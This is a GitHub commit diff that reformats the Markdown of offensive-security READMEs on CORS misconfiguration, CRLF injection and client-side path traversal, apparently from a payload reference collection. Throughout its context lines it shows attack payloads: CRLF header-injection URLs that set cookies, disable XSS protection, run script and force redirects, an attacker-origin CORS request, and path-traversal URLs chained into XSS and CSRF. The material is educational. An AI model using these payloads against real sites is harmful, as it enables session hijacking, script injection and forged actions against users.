Skip to content

Commit e6eb436

Browse files
committed
Markdown Linting - CORS, CRLF, CSPT, CSRF, Command Injection
1 parent 9465e12 commit e6eb436

File tree

5 files changed

+101
-131
lines changed

5 files changed

+101
-131
lines changed

Diff for: CORS Misconfiguration/README.md

+19-28
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,6 @@
11
# CORS Misconfiguration
22

3-
> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials.
4-
3+
> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials.
54
65
## Summary
76

@@ -16,7 +15,6 @@
1615
* [Labs](#labs)
1716
* [References](#references)
1817

19-
2018
## Tools
2119

2220
* [s0md3v/Corsy](https://github.com/s0md3v/Corsy/) - CORS Misconfiguration Scanner
@@ -25,14 +23,12 @@
2523
* [trufflesecurity/of-cors](https://github.com/trufflesecurity/of-cors) - Exploit CORS misconfigurations on the internal networks
2624
* [omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne) - Fast CORS Misconfiguration Discovery Tool
2725

28-
2926
## Requirements
3027

3128
* BURP HEADER> `Origin: https://evil.com`
3229
* VICTIM HEADER> `Access-Control-Allow-Credential: true`
3330
* VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null`
3431

35-
3632
## Methodology
3733

3834
Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint`.
@@ -70,7 +66,7 @@ function reqListener() {
7066
};
7167
```
7268

73-
or
69+
or
7470

7571
```html
7672
<html>
@@ -105,7 +101,7 @@ It's possible that the server does not reflect the complete `Origin` header but
105101
that the `null` origin is allowed. This would look like this in the server's
106102
response:
107103

108-
```
104+
```ps1
109105
GET /endpoint HTTP/1.1
110106
Host: victim.example.com
111107
Origin: null
@@ -145,7 +141,7 @@ exploit codes from above do not work. But if you have an XSS on a trusted
145141
origin, you can inject the exploit coded from above in order to exploit CORS
146142
again.
147143

148-
```
144+
```ps1
149145
https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
150146
```
151147

@@ -154,7 +150,7 @@ https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
154150
If the server responds with a wildcard origin `*`, **the browser does never send
155151
the cookies**. However, if the server does not require authentication, it's still
156152
possible to access the data on the server. This can happen on internal servers
157-
that are not accessible from the Internet. The attacker's website can then
153+
that are not accessible from the Internet. The attacker's website can then
158154
pivot into the internal network and access the server's data without authentication.
159155

160156
```powershell
@@ -188,16 +184,15 @@ function reqListener() {
188184
};
189185
```
190186

191-
192187
### Expanding the Origin
193188

194189
Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header.
195190

196191
#### Vulnerable Implementation (Example 1)
197192

198-
In this scenario any prefix inserted in front of `example.com` will be accepted by the server.
193+
In this scenario any prefix inserted in front of `example.com` will be accepted by the server.
199194

200-
```
195+
```ps1
201196
GET /endpoint HTTP/1.1
202197
Host: api.example.com
203198
Origin: https://evilexample.com
@@ -207,7 +202,6 @@ Access-Control-Allow-Origin: https://evilexample.com
207202
Access-Control-Allow-Credentials: true
208203
209204
{"[private API key]"}
210-
211205
```
212206

213207
#### Proof of Concept (Example 1)
@@ -230,7 +224,7 @@ function reqListener() {
230224

231225
In this scenario the server utilizes a regex where the dot was not escaped correctly. For instance, something like this: `^api.example.com$` instead of `^api\.example.com$`. Thus, the dot can be replaced with any letter to gain access from a third-party domain.
232226

233-
```
227+
```ps1
234228
GET /endpoint HTTP/1.1
235229
Host: api.example.com
236230
Origin: https://apiiexample.com
@@ -240,7 +234,6 @@ Access-Control-Allow-Origin: https://apiiexample.com
240234
Access-Control-Allow-Credentials: true
241235
242236
{"[private API key]"}
243-
244237
```
245238

246239
#### Proof of concept (Example 2)
@@ -259,25 +252,23 @@ function reqListener() {
259252
};
260253
```
261254

262-
263255
## Labs
264256

265257
* [PortSwigger - CORS vulnerability with basic origin reflection](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack)
266258
* [PortSwigger - CORS vulnerability with trusted null origin](https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack)
267259
* [PortSwigger - CORS vulnerability with trusted insecure protocols](https://portswigger.net/web-security/cors/lab-breaking-https-attack)
268260
* [PortSwigger - CORS vulnerability with internal network pivot attack](https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack)
269261

270-
271262
## References
272263

273-
- [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7) - December 20, 2018](https://hackerone.com/reports/470298)
274-
- [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://web.archive.org/web/20190516052453/https://www.corben.io/advanced-cors-techniques/)
275-
- [CORS misconfig | Account Takeover - Rohan (nahoragg) - October 20, 2018](https://hackerone.com/reports/426147)
276-
- [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t) - October 29, 2018](https://hackerone.com/reports/430249)
277-
- [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax) - September 15, 2016](https://hackerone.com/reports/168574)
278-
- [CORS Misconfigurations Explained - Detectify Blog - April 26, 2018](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
279-
- [Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019](https://portswigger.net/web-security/cors)
280-
- [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017](https://hackerone.com/reports/235200)
281-
- [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
282-
- [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - December 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/)
283-
- [Think Outside the Scope: Advanced CORS Exploitation Techniques - Ayoub Safa (Sandh0t) - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
264+
* [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7) - December 20, 2018](https://hackerone.com/reports/470298)
265+
* [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://web.archive.org/web/20190516052453/https://www.corben.io/advanced-cors-techniques/)
266+
* [CORS misconfig | Account Takeover - Rohan (nahoragg) - October 20, 2018](https://hackerone.com/reports/426147)
267+
* [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t) - October 29, 2018](https://hackerone.com/reports/430249)
268+
* [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax) - September 15, 2016](https://hackerone.com/reports/168574)
269+
* [CORS Misconfigurations Explained - Detectify Blog - April 26, 2018](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
270+
* [Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019](https://portswigger.net/web-security/cors)
271+
* [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017](https://hackerone.com/reports/235200)
272+
* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
273+
* [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - December 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/)
274+
* [Think Outside the Scope: Advanced CORS Exploitation Techniques - Ayoub Safa (Sandh0t) - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)

Diff for: CRLF Injection/README.md

+9-16
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,6 @@
1212
* [Labs](#labs)
1313
* [References](#references)
1414

15-
1615
## Methodology
1716

1817
HTTP Response Splitting is a security vulnerability where an attacker manipulates an HTTP response by injecting Carriage Return (CR) and Line Feed (LF) characters (collectively called CRLF) into a response header. These characters mark the end of a header and the start of a new line in HTTP responses.
@@ -28,7 +27,6 @@ By injecting a CRLF sequence, the attacker can break the response into two parts
2827
* Cache Poisoning: Forcing incorrect content to be stored in caches.
2928
* Header Manipulation: Altering headers to mislead users or systems
3029

31-
3230
### Session Fixation
3331

3432
A typical HTTP response header looks like this:
@@ -50,18 +48,17 @@ Set-Cookie: admin=true
5048

5149
Now the attacker has set their own cookie.
5250

53-
5451
### Cross Site Scripting
5552

5653
Beside the session fixation that requires a very insecure way of handling user session, the easiest way to exploit a CRLF injection is to write a new body for the page. It can be used to create a phishing page or to trigger an arbitrary Javascript code (XSS).
5754

58-
**Requested page**
55+
**Requested page**:
5956

6057
```http
6158
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
6259
```
6360

64-
**HTTP response**
61+
**HTTP response**:
6562

6663
```http
6764
Set-Cookie:en
@@ -77,13 +74,13 @@ Content-Length: 34
7774

7875
In the case of an XSS, the CRLF injection allows to inject the `X-XSS-Protection` header with the value value "0", to disable it. And then we can add our HTML tag containing Javascript code .
7976

80-
**Requested page**
77+
**Requested page**:
8178

8279
```powershell
8380
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
8481
```
8582

86-
**HTTP Response**
83+
**HTTP Response**:
8784

8885
```http
8986
HTTP/1.1 200 OK
@@ -97,7 +94,7 @@ ETag: "842fe-597b-54415a5c97a80"
9794
Vary: Accept-Encoding
9895
X-UA-Compatible: IE=edge
9996
Server: NetDNA-cache/2.2
100-
Link: <https://example.com/[INJECTION STARTS HERE]
97+
Link: https://example.com/[INJECTION STARTS HERE]
10198
Content-Length:35
10299
X-XSS-Protection:0
103100
@@ -114,10 +111,9 @@ Inject a `Location` header to force a redirect for the user.
114111
%0d%0aLocation:%20http://myweb.com
115112
```
116113

117-
118114
## Filter Bypass
119115

120-
[RFC 7230](https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4) states that most HTTP header field values use only a subset of the US-ASCII charset.
116+
[RFC 7230](https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4) states that most HTTP header field values use only a subset of the US-ASCII charset.
121117

122118
> Newly defined header fields SHOULD limit their field values to US-ASCII octets.
123119
@@ -132,7 +128,6 @@ Firefox followed the spec by stripping off any out-of-range characters when sett
132128

133129
The UTF-8 character `` contains `0a` in the last part of its hex format, which would be converted as `\n` by Firefox.
134130

135-
136131
An example payload using UTF-8 characters would be:
137132

138133
```js
@@ -145,15 +140,13 @@ URL encoded version
145140
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE
146141
```
147142
148-
149143
## Labs
150144
151145
* [PortSwigger - HTTP/2 request splitting via CRLF injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection)
152146
* [Root Me - CRLF](https://www.root-me.org/en/Challenges/Web-Server/CRLF)
153147
154-
155148
## References
156149
157-
- [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://www.owasp.org/index.php/CRLF_Injection)
158-
- [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
159-
- [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749)
150+
* [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://www.owasp.org/index.php/CRLF_Injection)
151+
* [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
152+
* [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749)

Diff for: Client Side Path Traversal/README.md

+11-20
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,9 @@
11
# Client Side Path Traversal
22

33
> Client-Side Path Traversal (CSPT), sometimes also referred to as "On-site Request Forgery," is a vulnerability that can be exploited as a tool for CSRF or XSS attacks.
4-
54
> It takes advantage of the client side's ability to make requests using fetch to a URL, where multiple "../" characters can be injected. After normalization, these characters redirect the request to a different URL, potentially leading to security breaches.
6-
75
> Since every request is initiated from within the frontend of the application, the browser automatically includes cookies and other authentication mechanisms, making them available for exploitation in these attacks.
86
9-
107
## Summary
118

129
* [Tools](#tools)
@@ -16,17 +13,15 @@
1613
* [Labs](#labs)
1714
* [References](#references)
1815

19-
2016
## Tools
2117

2218
* [doyensec/CSPTBurpExtension](https://github.com/doyensec/CSPTBurpExtension) - CSPT is an open-source Burp Suite extension to find and exploit Client-Side Path Traversal.
2319

24-
2520
## Methodology
2621

2722
### CSPT to XSS
2823

29-
![](https://matanber.com/images/blog/cspt-query-param.png)
24+
![cspt-query-param](https://matanber.com/images/blog/cspt-query-param.png)
3025

3126
A post-serving page calls the fetch function, sending a request to a URL with attacker-controlled input which is not properly encoded in its path, allowing the attacker to inject `../` sequences to the path and make the request get sent to an arbitrary endpoint. This behavior is referred to as a CSPT vulnerability.
3227

@@ -37,7 +32,6 @@ A post-serving page calls the fetch function, sending a request to a URL with at
3732
* A text injection was also discovered in `https://example.com/pricing/default.js` via the `cb` parameter
3833
* Final payload is `https://example.com/static/cms/news.html?newsitemid=../pricing/default.js?cb=alert(document.domain)//`
3934

40-
4135
### CSPT to CSRF
4236

4337
A CSPT is redirecting legitimate HTTP requests, allowing the front end to add necessary tokens for API calls, such as authentication or CSRF tokens. This capability can potentially be exploited to circumvent existing CSRF protection measures.
@@ -52,30 +46,27 @@ A CSPT is redirecting legitimate HTTP requests, allowing the front end to add ne
5246
| 1-click CSRF ? | :x: | :white_check_mark: |
5347
| Does impact depend on source and on sinks ? | :x: | :white_check_mark: |
5448

55-
5649
Real-World Scenarios:
5750

5851
* 1-click CSPT2CSRF in Rocket.Chat
5952
* CVE-2023-45316: CSPT2CSRF with a POST sink in Mattermost : `/<team>/channels/channelname?telem_action=under_control&forceRHSOpen&telem_run_id=../../../../../../api/v4/caches/invalidate`
6053
* CVE-2023-6458: CSPT2CSRF with a GET sink in Mattermost
6154
* [Client Side Path Manipulation - erasec.be](https://www.erasec.be/blog/client-side-path-manipulation/): CSPT2CSRF `https://example.com/signup/invite?email=foo%40bar.com&inviteCode=123456789/../../../cards/123e4567-e89b-42d3-a456-556642440000/cancel?a=`
62-
* [CVE-2023-5123 : CSPT2CSRF in Grafana’s JSON API Plugin](https://medium.com/@maxime.escourbiac/grafana-cve-2023-5123-write-up-74e1be7ef652)
63-
55+
* [CVE-2023-5123 : CSPT2CSRF in Grafana’s JSON API Plugin](https://medium.com/@maxime.escourbiac/grafana-cve-2023-5123-write-up-74e1be7ef652)
6456

6557
## Labs
6658

6759
* [doyensec/CSPTPlayground](https://github.com/doyensec/CSPTPlayground) - CSPTPlayground is an open-source playground to find and exploit Client-Side Path Traversal (CSPT).
6860
* [Root Me - CSPT - The Ruler](https://www.root-me.org/en/Challenges/Web-Client/CSPT-The-Ruler)
6961

70-
7162
## References
7263

73-
- [Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF - Maxence Schmitt - 02 Jul 2024](https://blog.doyensec.com/2024/07/02/cspt2csrf.html)
74-
- [Exploiting Client-Side Path Traversal - CSRF is dead, long live CSRF - Whitepaper - Maxence Schmitt - 02 Jul 2024](https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_Whitepaper.pdf)
75-
- [Exploiting Client-Side Path Traversal - CSRF is Dead, Long Live CSRF - OWASP Global AppSec 2024 - Maxence Schmitt - June 24 2024](https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_OWASP_Appsec_Lisbon.pdf)
76-
- [Leaking Jupyter instance auth token chaining CVE-2023-39968, CVE-2024-22421 and a chromium bug - Davwwwx - 30-08-2023](https://blog.xss.am/2023/08/cve-2023-39968-jupyter-token-leak/)
77-
- [On-site request forgery - Dafydd Stuttard - 03 May 2007](https://portswigger.net/blog/on-site-request-forgery)
78-
- [Bypassing WAFs to Exploit CSPT Using Encoding Levels - Matan Berson - 2024-05-10](https://matanber.com/blog/cspt-levels)
79-
- [Automating Client-Side Path Traversals Discovery - Vitor Falcao - October 3, 2024](https://vitorfalcao.com/posts/automating-cspt-discovery/)
80-
- [CSPT the Eval Villain Way! - Dennis Goodlett - December 3, 2024](https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html)
81-
- [Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal - Maxence Schmitt - January 9, 2025](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
64+
* [Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF - Maxence Schmitt - 02 Jul 2024](https://blog.doyensec.com/2024/07/02/cspt2csrf.html)
65+
* [Exploiting Client-Side Path Traversal - CSRF is dead, long live CSRF - Whitepaper - Maxence Schmitt - 02 Jul 2024](https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_Whitepaper.pdf)
66+
* [Exploiting Client-Side Path Traversal - CSRF is Dead, Long Live CSRF - OWASP Global AppSec 2024 - Maxence Schmitt - June 24 2024](https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_OWASP_Appsec_Lisbon.pdf)
67+
* [Leaking Jupyter instance auth token chaining CVE-2023-39968, CVE-2024-22421 and a chromium bug - Davwwwx - 30-08-2023](https://blog.xss.am/2023/08/cve-2023-39968-jupyter-token-leak/)
68+
* [On-site request forgery - Dafydd Stuttard - 03 May 2007](https://portswigger.net/blog/on-site-request-forgery)
69+
* [Bypassing WAFs to Exploit CSPT Using Encoding Levels - Matan Berson - 2024-05-10](https://matanber.com/blog/cspt-levels)
70+
* [Automating Client-Side Path Traversals Discovery - Vitor Falcao - October 3, 2024](https://vitorfalcao.com/posts/automating-cspt-discovery/)
71+
* [CSPT the Eval Villain Way! - Dennis Goodlett - December 3, 2024](https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html)
72+
* [Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal - Maxence Schmitt - January 9, 2025](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)

0 commit comments

Comments
 (0)